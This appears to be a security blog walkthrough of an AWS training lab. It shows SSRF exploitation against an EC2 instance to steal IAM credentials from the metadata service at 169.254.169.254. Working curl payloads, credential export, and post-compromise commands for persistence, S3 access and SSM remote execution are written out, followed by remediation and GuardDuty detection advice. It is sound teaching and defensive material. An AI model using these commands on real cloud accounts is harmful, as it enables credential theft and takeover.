Cloud Metadata - AWS IAM Credential Abuse

Attackers are already fully aware of what cloud misconfigurations are and how to take advantage. Why would an attacker run 169.254.169[.]254/latest/meta-data/iam/security-credentials/ ?

a hot mess of misconfigurations and unkowns
a hot mess of misconfiguration and unknowns

It's been noted here (2017 Uber), here (2019 Capital One) and here (2022) about how attackers are fully aware of cloud misconfigurations, attack methods and what their access can lead to.

"a single AWS access key that provided full administrative privileges over all data in the Uber AWS environment"

Capital One breach 2019 - https://web.mit.edu/smadnick/www/wp/2020-16.pdf

In this run through (and similar to the above) we have a vulnerable webapp hosted on a AWS EC2 instance configured to use IMDSv1 (Instance Metadata Service) which we will exploit, escalate our privileges and carry out post-compromise activities. While not every AWS EC2 instance has an associated IAM role (AWS Identity and Access Management), when they do these IAM roles can contain very powerful credentials to access other systems and data stores.

I've responded to incidents in the past regarding this but have recently stumbled across these AWS CIRT training labs that have just been released and are an extremely easy way to help replicate this environment. Massive kudos to the AWS CIRT team πŸ‘.

While this isn't something new, awareness of this technique isn't known by all and the implications of such attack. I hope this helps with further understanding.


  • What is the AWS EC2 metadata instance?
  • What it looks like?
  • How it gets exploited?
  • What to do with your new credentials?
  • How to fix the issue and gain visibility.

What is 169.254.169.254?

TLDR: The magic IP to access the metadata associated with the AWS instance and get at the exposed IAM credentials via this "internal" interface . AWS documentation states and has a pretty big red warning banner for this 🚨🚨🚨🚨.

"...Although you can only access instance metadata and user data from within the instance itself, the data is not protected by authentication or cryptographic methods. Anyone who has direct access to the instance, and potentially any software running on the instance, can view its metadata. Therefore, you should not store sensitive data, such as passwords or long-lived encryption keys, as user data..."

"...Because your instance metadata is available from your running instance, you do not need to use the Amazon EC2 console or the AWS CLI.." link

Included in this meta-data could be service credentials/API keys. Lets say you have a vulnerable web app that is running on a EC2 instance and this gets exploited by some means. Once the attacker has command execution they can query this data as its only available from the instance itself. From here they can escalate their privileges.

What does the meta-data service hold or look like?

[ec2-user ~]$ curl http://169.254.169.254/latest/meta-data/    
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
instance-action
instance-id
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
Example of items stored in the meta-data from AWS documentation

URLs you might see being queried by attackers by various means.

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/
http://169.254.169.254/latest/dynamic/instance-identity/document
http://[fd00:ec2::254]/latest/meta-data/

More examples here including WAF bypasses https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery#ssrf-url-for-cloud-instances

How is this done? - Gathering IAM credentials

In this example, we have a poorly configured web application that allows for SSRF (Server Side Request Forgery) exploitation which enables the attacker to locally query the EC2 metadata instance for stored credentials as part of an IAM role.

Our host TDIR-WebApp-1UEARVYAI6KFP-1676273348.us-east-1.elb.amazonaws.com is a web application behind an Elastic Load Balancer (elb) that we are going to use as a demo.

πŸ’₯ Query 1 (gather IAM roles associated with the EC2 instance)

curl "http://TDIR-WebApp-1UEARVYAI6KFP-1676273348.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/iam/security-credentials"
security-credentials found example

πŸ’₯ Query 2 (gather IAM credentials for the assigned role)

curl "http://TDIR-WebApp-1UEARVYAI6KFP-1676273348.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/meta-data/iam/security-credentials/webdev"
security-credentials 'webdev' credential example

In this case we have ASIA* IAM ID identifier which is a temporary (AWS-STS // Security Token Service) key. You can see the short lifetime and expiration here. Enough to launch an attack.

πŸ’₯ Query 3 (gather EC2 instance region needed)

curl "http://TDIR-WebApp-1UEARVYAI6KFP-1676273348.us-east-1.elb.amazonaws.com/demo.php?site=http://169.254.169.254/latest/dynamic/instance-identity/document"
EC2 instance details example

Once you have a valid API key set it via your local variables or part of ~/.aws/credentials and use a tool like AWS CLI to interact with the AWS API with your new obtained credentials.

export AWS_ACCESS_KEY_ID="<paste_access_key_ID_here>"
export AWS_SECRET_ACCESS_KEY="<paste_secret_access_key_here>"
export AWS_DEFAULT_REGION="<paste_region_here>"
export AWS_SESSION_TOKEN="<paste_session_token_here>"
access keys example

To check it is all configured and confirm our credentials are valid use AWS CLI on a localhost or attacker controlled system with the following.

aws sts get-caller-identity
get-caller-identity example

Post Compromise-Activities

What can you do now? How bad is this? - it depends on the access granted. Understanding the impact here can help put some of the visibility and mitigations to put in place.

  • Spin up new resources to use (coin-mining / malicious proxy / exfiltration / bastion host)?
  • Pivot further, check how far your access goes? πŸ‡ πŸ•³οΈ
  • Just simply trash the environment?

πŸ’₯ Query S3 buckets!

aws s3 ls

πŸ’₯ Create a new user for persistence!

aws iam create-user --user-name adm1n

πŸ’₯ Spin up extra resources!

aws cloudformation create-stack --stack-name badstack --template-body file://samplestack.template

πŸ’₯ Log into the AWS Console!

Using the credentials it is possible to generate a URL which enables you to log into the AWS Console (GUI) with this account. Easier nagivation and triage for the attacker. Tool being used here is aws-vault.

brew install aws-vault
aws-vault login
AWS Console access via generated URL from aws-vault
πŸ’‘
This is a noisy approach and can be picked up with logging in AWS CloudTail. "eventType": "AwsConsoleSignIn" and "type": "AssumedRole" and GuardDuty UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B 
CloudTail log for the AWS Console login example

πŸ’₯ Remote Code Execution via SSM

The AWS CLI is needed in this example to take advantage of Systems Manager Agent (SSM Agent) to gain execute code. Example below of parameters;

aws ssm send-command \
    --document-name "AWS-RunShellScript" \
    --document-version "1" \
    --targets "Key=instanceids,Values=i-02573cafcfEXAMPLE" \
    --parameters "commands='whoami'" \
    --timeout-seconds 600 \
    --max-concurrency "50" \
    --max-errors "0" \
    --region us-east-2

First we need to find our instance ID by using the following

aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=instanceids,Values=i-0a8bb3f2d8f9e4ce9" --parameters 'commands=whoami'
AWS EC2 RCE via SSM - submit command example
aws ssm list-command-invocations --command-id "f2df02e5-7551-484d-9263-8549a9807092" --details
AWS EC2 RCE via SSM - retrieve execution results example 

Fixing the problem

Fix EC2 IMDSv1 templates, gain visibility with CloudTrail and action recommendations and alerts from GuardDuty.

  • Remediating compromised AWS credentials
  • Upgrade the EC2 instances to IMDSv2 here. Of note, IMDSv2 was released on the 19th November 2019 - release notes here. Use CloudWatch to monitor instances with IMDSv1 calls.
  • Enable logging via AWS CloudTrail.
  • Use a local firewall such as iptables to limit access to 169.254.169.254
  • Enable GuardDuty security monitoring. While not perfect as noted here, these will provide insights into this attack with;
    UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B
    UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS
    UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
    PenTest:IAMUser/KaliLinux
  • Follow best practices and the Principle of Least Priviledge on IAM roles
  • Continuous configuration audits of your AWS environments with tooling such as RhinoSecurityLabs Pacu. Quick start guide here
Pacu - Open-source AWS exploitation framework

πŸ™ Β Thanks to the guys at AWS CIRT for providing a great lab and detailed walkthroughs. Heavily recommend you try it out in their labs! I hope this raises further awareness. πŸ™


MITRE ATT&CK

https://attack.mitre.org/matrices/enterprise/cloud/


Resources

AWS CIRT announces the release of five publicly available workshops | Amazon Web Services
Greetings from the AWS Customer Incident Response Team (CIRT)! AWS CIRT is dedicated to supporting customers during active security events on the customer side of the AWS Shared Responsibility Model. Over the past year, AWS CIRT has responded to hundreds of such security events, including the unauth…
Steal EC2 Metadata Credentials via SSRF - Hacking The Cloud
Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.
GitHub - RhinoSecurityLabs/pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.
The AWS exploitation framework, designed for testing the security of Amazon Web Services environments. - GitHub - RhinoSecurityLabs/pacu: The AWS exploitation framework, designed for testing the se...

Some practice labs that are already spun up. Some guidance from PayloadsAllTheThings available here

DigitalOcean Referral Badge